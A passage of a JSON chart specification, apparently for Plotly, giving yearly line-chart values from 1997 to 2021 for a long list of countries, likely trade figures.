166.29, - 123.43 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1923.81, - 1832.42, - 1485.04, - 1468.63, - 1724.12, - 1840.96, - 3233.51, - 4544.77, - 5769.14, - 7924.78, - 8967.72, - 12537.39, - 13792.33, - 12502.01, - 18055.35, - 15434.34, - 12122.81, - 13029.38, - 12161.76, - 14112.27, - 18006.07, - 16651.65, - 12634.36, - 12291.17, - 17750.84 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 166.3, - 137.22, - 141.75, - 150.34, - 154.15, - 245.32, - 308.05, - 379.49, - 476.49, - 588.85, - 769.36, - 1192.31, - 1042.11, - 1410.76, - 1422.94, - 1257.79, - 1165.24, - 1179.02, - 1166.93, - 1291.5, - 1433.35, - 1199.59, - 1085.32, - 1076.17, - 1027.52 - ] - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.05, - 4.05, - 7.74, - 11.81, - 10.89, - 10.37, - 15.3, - 38.51, - 34.67, - 92.13, - 199.67, - 228.42, - 314.74, - 242.13, - 746.63, - 608.55, - 1260.72, - 308.96, - 110.47, - 501.93, - 626.29, - 191.34, - 327.12, - 279.88, - 37.57 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.7, - 1.43, - 2.41, - 0, - 3.53, - 3.3, - 50.95, - 9.57, - 73.21, - 17.75, - 42.6, - 884.27, - 2177.68, - 2247.06, - 2772.14, - 722.23, - 124.17, - 89.19, - 264.76, - 48.34, - 45.27, - 75.18, - 40.4, - 8.78 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 194.12, - 527.28, - 219.39, - 281.19, - 209.6, - 220.67, - 186.15, - 278.33, - 381.81, - 655.75, - 1087.89, - 1729.34, - 753.07, - 1293.08, - 1345.97, - 1268.13, - 1202.6, - 919.23, - 1011.04, - 762.4, - 987.94, - 1281.77, - 980.6, - 1075.74, - 1277.74 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 837.28, - 1058.04, - 714.46, - 1015.55, - 1061.3, - 1238.05, - 1818.37, - 1690.49, - 1791.39, - 1857.57, - 3180.74, - 2810.98, - 2688.44, - 3689.66, - 4374.93, - 5784.31, - 6651.27, - 7072.84, - 6762.09, - 7521.79, - 9299.99, - 10254.86, - 9465.49, - 10783.22, - 12442.42 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.53, - 2.96, - 3.6, - 3.08, - 1.08, - 2.47, - 1.24, - 1.75, - 2.35, - 2.8, - 2.55, - 3.96, - 4.51, - 5.6, - 8.34, - 5.97, - 6.56, - 10.36, - 10.67, - 12.53, - 12.94, - 14.18, - 14.24, - 11.71, - 11.64 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.68, - 1.93, - 3.9, - 6.14, - 7.11, - 13.01, - 13.23, - 22.93, - 50.08, - 108.02, - 146.1, - 316.13, - 470, - 240.62, - 299.89, - 269.81, - 211.11, - 230.31, - 200.63, - 210.73, - 255.39, - 282.91, - 203.21, - 349.95, - 312.92 - ] - }, - { - "mode": "lines", - "name": "BELGIUM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3883.39, - 4164.68, - 5048.92, - 4340.6, - 4153.62, - 5373.76, - 5781.61, - 7098.61, - 7596.37, - 7624.36, - 8557.01, - 10257.09, - 9778.46, - 14394.2, - 17562.19, - 15554.17, - 17129.35, - 16325.39, - 13283.67, - 12281.52, - 12200.29, - 17199.15, - 14689.35, - 12176.27, - 14445.9 - ] - }, - { - "mode": "lines", - "name": "BELIZE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.52, - 0, - 1.14, - 0, - 1.01, - 2.7, - 7.37, - 19.82, - 2.99, - 2.85, - 14.51, - 26.17, - 23.78, - 24.01, - 24.71, - 15.52, - 15.75, - 14.84, - 17.64, - 15.23, - 9.93, - 10.21 - ] - }, - { - "mode": "lines", - "name": "BENIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.19, - 39.98, - 71.1, - 97.22, - 98.47, - 102.54, - 105.9, - 126.91, - 174.09, - 231.6, - 347.92, - 317, - 345.58, - 417.09, - 915.9, - 724.86, - 931.59, - 720.07, - 702.96, - 655.28, - 702.74, - 802.71, - 685.55, - 881.17, - 779.29 - ] - }, - { - "mode": "lines", - "name": "BERMUDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.67, - 0, - 0, - 0, - 0.68, - 0, - 0, - 1.94, - 0.38, - 1.28, - 1.65, - 64.77, - 1.03, - 0.9, - 0, - 1.39, - 0, - 2.82, - 2.59, - 4.21, - 3.12, - 10.84, - 0, - 4.54, - 4.18 - ] - }, - { - "mode": "lines", - "name": "BHUTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 26.77, - 15.69, - 25.59, - 22.17, - 31.52, - 71.2, - 141.86, - 155.59, - 187.94, - 199.72, - 281.46, - 262.94, - 271.98, - 377.6, - 432.41, - 397.22, - 507.77, - 483.81, - 750.22, - 817.1, - 924.11, - 1028.29, - 1144.33, - 1134.02, - 1102.44 - ] - }, - { - "mode": "lines", - "name": "BOLIVIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.71, - 1.02, - 0.87, - 16.34, - 3.9, - 3.15, - 5.43, - 4.18, - 7.5, - 8.39, - 11.15, - 17.11, - 13.13, - 22.4, - 28.91, - 64.79, - 55.61, - 74.4, - 314.68, - 253.06, - 772.44, - 956.92, - 959.35, - 1253.47, - 1613.68 - ] - }, - { - "mode": "lines", - "name": "BOSNIA-HRZGOVIN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.3, - 0.54, - 1.39, - 5.64, - 5.35, - 2.86, - 1.72, - 4.08, - 17.28, - 6.74, - 3.21, - 22.28, - 24.24, - 26.74, - 13.23, - 22.13, - 24.11, - 16.43, - 24.12, - 19.54, - 18.64, - 17.01, - 14.47 - ] - }, - { - "mode": "lines", - "name": "BOTSWANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.92, - 0, - 0, - 5.56, - 4.57, - 4.09, - 6.75, - 8.32, - 10.92, - 10.9, - 16.98, - 46.62, - 29.28, - 60.36, - 101.83, - 109.09, - 437.42, - 1057.35, - 594.61, - 1384.51, - 1746.87, - 1152.79, - 922.74, - 634.41, - 622.15 - ] - }, - { - "mode": "lines", - "name": "ECUADOR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 9.53, - 5.48, - 10.89, - 17.14, - 15.65, - 14.07, - 19.97, - 45.65, - 46.53, - 101.62, - 272.42, - 157.5, - 156.77, - 290.58, - 275.82, - 1136.1, - 545.83, - 1290.77, - 716.97, - 553.73, - 473.78, - 517.22, - 614.6, - 541.14, - 1104.02 - ] - }, - { - "mode": "lines", - "name": "CROATIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 7.03, - 6.53, - 5.51, - 5.18, - 6.32, - 10.66, - 24.13, - 24.9, - 58.49, - 112, - 90.97, - 100.89, - 116.57, - 125.75, - 138.73, - 152.01, - 148.86, - 205.04, - 148.44, - 149.49, - 200.73, - 192.71, - 204.15, - 184.71, - 317.22 - ] - }, - { - "mode": "lines", - "name": "ZIMBABWE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 41.16, - 38.49, - 32.5, - 23.4, - 30.98, - 29.88, - 39.93, - 50.6, - 49.54, - 64.02, - 54.19, - 72.76, - 69.8, - 124.77, - 132.21, - 187.73, - 170.56, - 256.65, - 229.53, - 169.54, - 225.74, - 189.51, - 174.72, - 181.42, - 150.58 - ] - }, - { - "mode": "lines", - "name": "FRANCE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1544.13, - 1549.3, - 1609.15, - 1660.82, - 1789.25, - 2168.27, - 2371.11, - 3575.04, - 6192.89, - 6315.68, - 8865.41, - 7653.34, - 8012, - 8914.14, - 8890.89, - 9638.39, - 8800.18, - 9372.73, - 8363.71, - 10957.82, - 11424.43, - 11898.24, - 11266.63, - 9125.4, - 8230.87 - ] - }, - { - "mode": "lines", - "name": "HAITI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 5.76, - 0, - 10.94, - 9.04, - 11.21, - 16.62, - 22.89, - 28.72, - 46.07, - 34.43, - 61.87, - 50.26, - 65.01, - 60.17, - 87.02, - 65.55, - 75.05, - 102.27, - 93.1, - 79.45, - 121.1, - 85.23 - ] - }, - { - "mode": "lines", - "name": "FR POLYNESIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0.54, - 0.78, - 2.09, - 2.08, - 1.41, - 0, - 1.09, - 11.98, - 1.79, - 2.83, - 3.1, - 3.84, - 4.14, - 6.43, - 5.51, - 6.1, - 5.74, - 7.74 - ] - }, - { - "mode": "lines", - "name": "GUYANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.22, - 2.76, - 4.09, - 6.43, - 4.05, - 5.71, - 16.7, - 14.03, - 32.4, - 27.98, - 29.52, - 22.84, - 24.62, - 25.28, - 30.53, - 26.53, - 31.47, - 34.72, - 40.35, - 34.55, - 32.62, - 36.08, - 32.16, - 46.96, - 205.48 - ] - }, - { - "mode": "lines", - "name": "GUINEA BISSAU", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.33, - 23.3, - 45.07, - 76.11, - 17, - 52.58, - 54.59, - 71.79, - 96.86, - 50.03, - 68.32, - 136.8, - 187.39, - 62.52, - 248.05, - 151.09, - 128.69, - 168.14, - 212.64, - 237.32, - 266.89, - 134.55, - 133.53, - 145.11, - 148.75 - ] - }, - { - "mode": "lines", - "name": "GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.43, - 11.81, - 14.26, - 17.85, - 40.49, - 49.23, - 39.38, - 78.91, - 74.51, - 422.4, - 816.05, - 367.29, - 399.59, - 199.62, - 394.16, - 733.9, - 397.82, - 1013.5, - 648.45, - 634.15, - 892.57, - 819.11, - 771.13, - 2132.79, - 3122.2 - ] - }, - { - "mode": "lines", - "name": "GUATEMALA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 5.44, - 15.36, - 18.76, - 14.08, - 20.54, - 26.56, - 38.9, - 47.76, - 75.88, - 78.44, - 84.36, - 92.89, - 152.86, - 198, - 232.92, - 225.48, - 246.13, - 268.49, - 262.93, - 307.9, - 321.64, - 314.27, - 352.1, - 430.4 - ] - }, - { - "mode": "lines", - "name": "GUAM", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.37, - 0, - 0.6, - 1.53, - 2.91, - 0.93, - 0.61, - 0, - 1.89, - 1.94, - 1.02, - 0, - 0.41, - 0, - 0, - 0, - 0.66, - 0.91, - 0.77, - 1.46 - ] - }, - { - "mode": "lines", - "name": "GUADELOUPE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 1.21, - 0.79, - 1.45, - 0, - 2.07, - 1.38, - 1.87, - 1.75, - 1.59, - 3.6, - 6.26, - 8.98, - 6.99, - 6.87, - 4.24, - 2.93, - 0, - 5.35, - 3.79, - 8, - 3.35, - 2.94 - ] - }, - { - "mode": "lines", - "name": "GHANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 54.01, - 68.29, - 73.24, - 85.98, - 88.33, - 124.27, - 215.6, - 234.36, - 279.75, - 568.42, - 935.72, - 710.48, - 537.52, - 739.52, - 1141.37, - 1021.74, - 1202.04, - 1938, - 3605.01, - 2619.57, - 3345.84, - 4480.74, - 2390.97, - 2237.46, - 1986.34 - ] - }, - { - "mode": "lines", - "name": "GRENADA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.08, - 0.18, - 0, - 0.5, - 0.71, - 0.71, - 0.27, - 1.03, - 0.84, - 1.26, - 0.53, - 0.71, - 1.03, - 1.06, - 0.85, - 1.47, - 0, - 0, - 3.09, - 2.9, - 4.25, - 3.27, - 3.33, - 3.51 - ] - }, - { - "mode": "lines", - "name": "GABON", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.57, - 13.66, - 9.59, - 19.47, - 15.78, - 38.69, - 32.99, - 53.16, - 58.68, - 132.55, - 146.83, - 196.77, - 205.6, - 345.26, - 193.58, - 871.21, - 921.06, - 835.76, - 142.42, - 112.8, - 440.46, - 511.17, - 183.94, - 464.17, - 914.05 - ] - }, - { - "mode": "lines", - "name": "GAMBIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 16.17, - 16.59, - 15.64, - 14.07, - 18.59, - 17.43, - 26.41, - 29.7, - 45.28, - 45.3, - 58.85, - 65.93, - 56.42, - 104.37, - 85.87, - 114.33, - 109.61, - 90.9, - 105.58, - 178.9, - 201.66, - 173.28, - 168, - 148.38 - ] - }, - { - "mode": "lines", - "name": "GEORGIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 1.43, - 3.69, - 8.37, - 25.57, - 39.45, - 42.21, - 54.05, - 115.39, - 103.72, - 88.96, - 66.16, - 110.7, - 180.65, - 181.69, - 115.11, - 105.02, - 107.04, - 122.45, - 104.3, - 132.58, - 94.17, - 186.22, - 144.28 - ] - }, - { - "mode": "lines", - "name": "GREECE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 123.26, - 146.34, - 111.33, - 135.49, - 136.1, - 171.51, - 247.13, - 330.16, - 620.47, - 882.24, - 656.58, - 947.91, - 606.93, - 458.27, - 901, - 412.01, - 444.58, - 488.59, - 446.71, - 503.02, - 529.98, - 647.39, - 569.3, - 689.32, - 996.52 - ] - }, - { - "mode": "lines", - "name": "GIBRALTAR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.14, - 0, - 0, - 0, - 1.83, - 0, - 0.65, - 0.7, - 17.9, - 1.52, - 0, - 647.95, - 160.65, - 292.85, - 0.36, - 97.74, - 637.83, - 0, - 0, - 290.69, - 575.16, - 630.14, - 203.83, - 256.06 - ] - }, - { - "mode": "lines", - "name": "GERMANY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4449.4, - 3992.63, - 3579.38, - 3667.15, - 3816.45, - 4511.21, - 5463.11, - 6841.6, - 9609.75, - 11537.45, - 15006.36, - 18394.56, - 15731.07, - 18642.55, - 23543.93, - 21571.99, - 20448.22, - 20325.2, - 19181.24, - 18765.27, - 21983.51, - 24063.51, - 21982, - 21767.95, - 17606.26 - ] - }, - { - "mode": "lines", - "name": "FR GUIANA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.45, - 1.26, - 3.78, - 2.93, - 0, - 0, - 0, - 0, - 0.44, - 0.24, - 4.13, - 41.92, - 2.88, - 3.81, - 108.08, - 4.68, - 39.14, - 60.45, - 2.33, - 2.92, - 3.03, - 3.72, - 3.88, - 3.06, - 1.67 - ] - }, - { - "mode": "lines", - "name": "HONDURAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.65, - 3.88, - 12.72, - 15.35, - 11.96, - 21.73, - 0, - 21.53, - 34.91, - 114.91, - 97.44, - 74.63, - 70.87, - 64.5, - 99.43, - 127.82, - 130.49, - 212.87, - 170.97, - 157.13, - 159.49, - 184.97, - 204.66, - 175.94, - 254.46 - ] - }, - { - "mode": "lines", - "name": "FINLAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 233.94, - 254.59, - 196.69, - 265.7, - 231.84, - 270.14, - 381.37, - 532.35, - 788.17, - 804.14, - 1167.73, - 1484.54, - 1219.02, - 1907.94, - 2417.91, - 1424.12, - 1469.51, - 1247.66, - 1250.85, - 1281.42, - 1683.87, - 1380.2, - 894.28, - 997.56, - 775.2 - ] - }, - { - "mode": "lines", - "name": "HONG KONG", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2245.02, - 2329.88, - 3328.78, - 3492.97, - 3095.22, - 3585.91, - 4754.48, - 5421.95, - 6678.3, - 7169.21, - 9010.57, - 13106.89, - 12622.12, - 19735.66, - 23340.61, - 20186.37, - 20053.93, - 19171.87, - 18143.93, - 22251.42, - 25366.25, - 30988.99, - 27902.43, - 25335.22, - 22190.72 - ] - }, - { - "mode": "lines", - "name": "JAPAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 4036.97, - 4117.72, - 4221.17, - 3636.67, - 3656.88, - 3700.35, - 4376.96, - 5363.04, - 6542.35, - 7467.65, - 10184.4, - 10911.97, - 10363.72, - 13723.27, - 18327.97, - 18512.35, - 16294.82, - 15516.93, - 14513.07, - 13600.37, - 15707.57, - 17634.4, - 16954.92, - 15359.33, - 15509.21 - ] - }, - { - "mode": "lines", - "name": "JAMAICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.37, - 2.05, - 3.98, - 9.22, - 5.79, - 10.72, - 9.97, - 16.08, - 27.99, - 20.79, - 47.31, - 23.6, - 21.51, - 23.11, - 28.28, - 32.1, - 37.12, - 39.58, - 41.76, - 44.18, - 56.59, - 60.43, - 59.71, - 66.29, - 59.26 - ] - }, - { - "mode": "lines", - "name": "EQUTL GUINEA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0.13, - 1.1, - 4.56, - 6.51, - 4.87, - 178.62, - 6.61, - 276.74, - 11.55, - 223.17, - 546.14, - 319.06, - 764.4, - 474.83, - 809.1, - 766.41, - 646.01, - 983.8, - 300.98, - 742.81 - ] - }, - { - "mode": "lines", - "name": "ITALY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2008.09, - 2143.25, - 1853.7, - 2032.33, - 1911.31, - 2169.06, - 2800.44, - 3659.09, - 4374.67, - 6260.67, - 7820.73, - 8252.77, - 7262.31, - 8807.59, - 10004.78, - 9083.77, - 9429.36, - 9324.11, - 8289.95, - 8797.18, - 10416.74, - 10885.8, - 9461.74, - 8597.79, - 9697.73 - ] - }, - { - "mode": "lines", - "name": "ISRAEL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 688.87, - 705.48, - 1081.64, - 904.77, - 855.77, - 1237.22, - 1393.73, - 1993.87, - 2232.68, - 2403.04, - 3030.3, - 3548.95, - 3853.66, - 5173.28, - 6675.87, - 6096.36, - 6058.52, - 5617.89, - 4916.5, - 5048.28, - 5430.56, - 5649.56, - 4955.8, - 4661.68, - 5707.85 - ] - }, - { - "mode": "lines", - "name": "ESTONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.9, - 5.91, - 7.35, - 3.62, - 10.3, - 4.99, - 6.22, - 10.95, - 